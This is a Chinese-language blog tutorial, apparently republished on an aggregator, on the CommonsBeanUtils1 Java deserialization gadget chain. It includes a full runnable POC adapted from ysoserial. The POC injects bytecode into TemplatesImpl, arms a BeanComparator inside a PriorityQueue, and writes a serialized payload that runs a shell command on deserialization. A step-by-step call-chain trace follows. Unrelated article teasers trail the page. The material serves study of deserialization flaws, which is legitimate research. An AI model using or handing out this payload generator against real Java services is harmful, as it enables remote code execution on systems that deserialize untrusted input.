CommonsBeanUtils1(基于ysoserial)

news/2024/11/20 14:46:24/文章来源:https://www.cnblogs.com/erosion2020/p/18556800

环境准备

JDK1.8(8u421) JDK8的版本应该都没什么影响,这里直接以我的镜像为准了、commons-beanutils:commons-beanutils:1.9.2、commons-collections:commons-collections:3.2、javassist:javassist:3.12.0.GA

mvn中加入以下依赖:

<dependency><groupId>commons-collections</groupId><artifactId>commons-collections</artifactId><version>3.2</version>
</dependency>
<dependency><groupId>javassist</groupId><artifactId>javassist</artifactId><version>3.12.1.GA</version>
</dependency>
<!-- https://mvnrepository.com/artifact/commons-beanutils/commons-beanutils -->
<dependency><groupId>commons-beanutils</groupId><artifactId>commons-beanutils</artifactId><version>1.9.1</version>
</dependency>

正文

CB链用到了CC2中的TemplatesImpl的内容,如果你对CC2链不太熟悉,可以先看一下这个:https://www.cnblogs.com/erosion2020/p/18553815

当你知道CC2中的攻击链的构成之后,你学CB链就会非常轻松,CB链也可以说是CC2链的一个变种,只是反序列化的点换成了commons-beanutils中的另一个类,也就是BeanComparator,下边来解释一下这个类是怎么触发TemplatesImpl的。

BeanComparator

BeanComparator 是 Java 中常见的一个类,通常用于在集合中对 Java Bean 对象进行比较排序。它实现了 Comparator 接口,目的是根据对象的某个或多个属性进行排序。在一些框架中(如 Apache Commons BeanUtils 或类似的工具库),BeanComparator 是一种常见的比较器实现,简化了比较操作,尤其是当比较的对象是 Java Bean 时。

基本作用

  • 通过指定的属性进行排序:它根据给定的 Java Bean 的某个属性值进行排序。比如,如果有一个 Person 类,它有 nameage 属性,可以使用 BeanComparator 来根据 nameage 进行升序或降序排序。
  • 灵活性BeanComparator 可以指定一个或多个属性进行排序,支持更复杂的排序逻辑。通过利用 Java 反射,BeanComparator 能够获取 Bean 的属性值并进行比较。

可以指定一个或多个属性进行排序,支持更复杂的排序逻辑这一句话是非常重要的,正是因为BeanComparator可以通过字段属性排序,所以导致了攻击链的触发。

代码分析

public class BeanComparator<T> implements Comparator<T>, Serializable {// 属性字段private String property;// 内部封装了一个Comparator比较器private final Comparator<?> comparator;// 调用compare比较两个对象的值public int compare(T o1, T o2) {......// PropertyUtils.getProperty是重点方法Object value1 = PropertyUtils.getProperty(o1, this.property);Object value2 = PropertyUtils.getProperty(o2, this.property);return this.internalCompare(value1, value2);.......}
}PropertyUtils.getProperty(Object bean, String name) {// 关注这个getProperty方法return PropertyUtilsBean.getInstance().getProperty(bean, name);
}
// 会执行到这个方法
public Object getProperty(Object bean, String name) {return this.getNestedProperty(bean, name);
}
public Object getNestedProperty(Object bean, String name) {......if (bean instanceof Map) {bean = this.getPropertyOfMapBean((Map)bean, name);} else if (this.resolver.isMapped(name)) {bean = this.getMappedProperty(bean, name);} else if (this.resolver.isIndexed(name)) {bean = this.getIndexedProperty(bean, name);} else {// 重点关注这个方法,如果bean是我们构造的TemplatesImpl对象,则会触发这个方法bean = this.getSimpleProperty(bean, name);}......return bean;
}
// 这是最终触发调用链代码的方法
public Object getSimpleProperty(Object bean, String name) {// getPropertyDescriptor可以理解为获取bean这个对象中的所有属性字段,如果这个字段存在getter方法,也会获取到// 假设bean中存在info字段以及getInfo方法,则PropertyDescriptor中的字段信息如下:// name字段为info// readMethodName字段为getOutputPropertiesPropertyDescriptor descriptor = this.getPropertyDescriptor(bean, name);if (descriptor == null) {throw new NoSuchMethodException("Unknown property '" + name + "' on class '" + bean.getClass() + "'");} else {// 在这里获取到了readMethodName所对应的Method对象Method readMethod = this.getReadMethod(bean.getClass(), descriptor);if (readMethod == null) {throw new NoSuchMethodException("Property '" + name + "' has no getter method in class '" + bean.getClass() + "'");} else {// 执行Method// 如果这里的Method是我们精心构造的TemplatesImpl的getOutputProperties,那么我们的攻击链代码就可以被触发Object value = this.invokeMethod(readMethod, bean, EMPTY_OBJECT_ARRAY);return value;}}
}

所以理清上边的思路之后,我们现在要做的事情就是构造一个TemplatesImpl对象,然后创建一个BeanComparator,把其中的property设置为TemplatesImpl的outputProperties字段,然后在触发了BeanComparator的compare方法时,如果中的T类型为TemplatesImpl,则最终会触发TemplatesImpl的getOutputProperties方法,然后触发我们的调用链

POC(基于ysoserial)

老规矩,这个还是ysoserial的代码拿过来改了,没有调用ysoserial中的工具类,不依赖工具库可以直接本地调试运行。

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.beanutils.BeanComparator;import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.math.BigInteger;
import java.util.PriorityQueue;public class CommonsBeanUtils1 {static String serialFileName = "commons-bean-utils1.ser";public static void main(String[] args) throws Exception {
//        cb1bySerial();verify();}public static void verify() throws Exception {// 本地模拟反序列化FileInputStream fis = new FileInputStream(serialFileName);ObjectInputStream ois = new ObjectInputStream(fis);Object ignore = (Object) ois.readObject();}public static void cb1bySerial() throws Exception {//==========================CC2中的构造Templates的内容 START==========================String executeCode = "Runtime.getRuntime().exec(\"cmd /c start\");";ClassPool pool = ClassPool.getDefault();CtClass evil = pool.makeClass("ysoserial.Evil");// run command in static initializer// TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protectionsevil.makeClassInitializer().insertAfter(executeCode);// sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)evil.setName("ysoserial.Pwner" + System.nanoTime());CtClass superC = pool.get(AbstractTranslet.class.getName());evil.setSuperclass(superC);final byte[] classBytes = evil.toBytecode();byte[][] trueclassbyte = new byte[][]{classBytes};Class<TemplatesImpl> templatesClass = TemplatesImpl.class;TemplatesImpl templates = TemplatesImpl.class.newInstance();Field bytecodes = templatesClass.getDeclaredField("_bytecodes");bytecodes.setAccessible(true);bytecodes.set(templates, trueclassbyte);Field name = templatesClass.getDeclaredField("_name");name.setAccessible(true);name.set(templates, "Pwnr");Field tfactory = templatesClass.getDeclaredField("_tfactory");tfactory.setAccessible(true);tfactory.set(templates, new TransformerFactoryImpl());//==========================CB1链触发点 START==========================// mock method name until armedfinal BeanComparator comparator = new BeanComparator("lowestSetBit");// create queue with numbers and basic comparatorfinal PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);// stub data for replacement later// 这里是让其触发BigInteger.lowestSetBit属性方法,可以在set queue值的时候不报错。queue.add(new BigInteger("1"));queue.add(new BigInteger("1"));// switch method called by comparator// 然后通过反射来对应的属性值,这样就能避免触发额外的动作Field property = comparator.getClass().getDeclaredField("property");property.setAccessible(true);property.set(comparator, "outputProperties");// switch contents of queue// queue中的值也是一样,通过反射来set值就不会触发heapfiy等一系列动作Field queueFiled = queue.getClass().getDeclaredField("queue");queueFiled.setAccessible(true);final Object[] queueArray = (Object[])queueFiled.get(queue);queueArray[0] = templates;queueArray[1] = templates;//====================CB1链触发END===================FileOutputStream fos = new FileOutputStream(serialFileName);ObjectOutputStream oos = new ObjectOutputStream(fos);oos.writeObject(queue);oos.flush();oos.close();fos.close();}
}

运行

尝试运行代码,来弹个cmd

image-20241120142836006

调用链

调用链如下

  • PriorityQueue.readObject()
    • PriorityQueue.heapify()
      • PriorityQueue.siftDown()
        • PriorityQueue.siftDownUsingComparator()
          • BeanComparator.compare()
          • PropertyUtils.getProperty()
          • PropertyUtilsBean.getProperty()
          • PropertyUtilsBean.getNestedProperty()
          • PropertyUtilsBean.getSimpleProperty()
          • PropertyUtilsBean.getPropertyDescriptor()
          • PropertyUtilsBean.getReadMethod()
          • PropertyUtilsBean.invokeMethod()
            • TemplatesImpl.getOutputProperties()
            • TemplatesImpl.newTransformer()
            • TemplatesImpl.getTransletInstance()
              • TemplatesImpl.defineTransletClasses()
            • (AbstractTranslet) _class[_transletIndex].getConstructor().newInstance()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/837343.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【Mastercam 2025下载与安装教程 含补丁】

mastercam 2025是一款专门用于数控加工的软件,广泛应用于航空、汽车、机械制造等领域可以帮助工程师、机械加工师等专业人员高效地进行零件的建模和加工,提高生产效益和质量。 系统要求‌操作系统‌:Windows 7或更高版本,64位操作系统。 ‌处理器‌:CPU频率至少为2GHz。 ‌内…

《刚刚问世》系列初窥篇-Java+Playwright自动化测试-5-创建首个自动化脚本(详细教程)

1.简介 前面几篇宏哥介绍了两种(java和maven)环境搭建和浏览器的启动方法,这篇文章宏哥将要介绍第一个自动化测试脚本。前边环境都搭建成功了,浏览器也驱动成功了,那么我们不着急学习其他内容,首先宏哥搭建好的环境中创建首个完整的自动化测试脚本,让小伙伴或者童鞋们提…

2024年腾讯云双十一薅羊毛最强攻略:错过一次又得等一年!

2024年腾讯云双十一活动为用户提供了丰富的云产品和优惠福利,以下是一份省钱、省心、省力的购买攻略,帮助大家制定必抢清单: 一、活动时间与入口活动时间:即日起至2024年11月30日23:59:59,具体以页面变更为准。 活动入口:腾讯云双十一活动页面二、优惠活动概览 1.服务器限…

BGP路由控制

BGP路由控制概述 BGP协议的重点不在于发现和计算路由,而在于通过丰富的属性和策略实现对路由的控制。 控制BGP路由可以通过两种方式实现。 一是通过BGP 的基本属性实现对BGP 选路的控制。这种方式比较简单,主要是通过配置、修改BGP 基本属性值以影响协议的选路,从而实现控制…

Windows右键新建列表排序

前言全局说明Windows右键新建列表排序一、说明 环境: Windows 11 家庭版 23H2 22631.3737二、Windows11 右键新建列表排序 2.1 打开注册表项 HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Discardable\PostSetup\ShellNew2.2 编辑 Classes 键 调整成…

如何让领导轻松在本地查看Allure报告

如何让领导轻松在本地查看Allure报告 问题描述 当我们把精心生成的Allure报告原始文件发送给领导后,领导直接打开index.html文件时,页面却一直处于加载状态,无法显示数据。通过F12开发者工具检查,我们发现这是由于浏览器跨域请求问题导致的。具体来说,当尝试通过XMLHttpRe…

使用yt-dlp下载youtube高清2k 60fps视频

只演示windows下的操作,linux和mac应该差不多的命令行。 首先放上github仓库地址:https://github.com/yt-dlp/yt-dlp 它的介绍: 厉害啊,支持数千个网站。 支持的网站列表在这里:https://github.com/yt-dlp/yt-dlp/blob/master/supportedsites.md 我们往下一点,找到: 下…

私有云部署在互联网公司中的应用案例解析

在互联网公司中,私有云的部署与应用案例已经成为许多企业实现数字化转型、提高资源利用效率、加强数据安全等目标的重要手段。私有云为公司提供了高度的控制权和定制化选项,尤其适用于对数据安全性和合规性有较高要求的公司。下面,我们将通过几个典型的应用案例来分析私有云…

10、Oracle三种监听方式

客户端对监听的三种连接方式 1、专用服务器模式专用服务器模式默认是启用的 专用服务器模式特点: 1、一个连接对应一个server process 好处:这个连接发送的SQL会被马上处理 坏处:即使这个连接空闲,这个server process还是存在,也需要占用资源,至少是内存资源 2、这种连接…

9、oracle trace监听连接

trace(跟踪)监听 有时候会出现这么一种情况:就是客户端连接不上监听,或者连接上监听以后有各种各样的故障,比如:连接慢、报错等等相关的信息,所以有时候需要对监听起一个trace(跟踪),看一下客户端对数据库监听的连接的一个情况如果客户端连接监听连不上的一个排错过程…

8、tnsnames文件配置

监听的配置文件 2、tnsnames.ora文件 tnsnames.ora文件:客户端的 配置tnsnames.ora监听文件 1、使用netca命令 指定图像映射机器 [oracle@db11g admin]$ export DISPLAY=192.168.56.1:0.0netca命令 [oracle@db11g admin]$ netca2、选择local net service name configuration,…

Redis中常见的数据类型及其应用场景Ib

五种常见数据类型 Redis中的数据类型指的是 value存储的数据类型,key都是以String类型存储的,value根据场景需要,可以以String、List等类型进行存储。各数据类型介绍:Redis数据类型对应的底层数据结构String 类型的应用场景 常用命令存放键值:set key value [EX seconds] …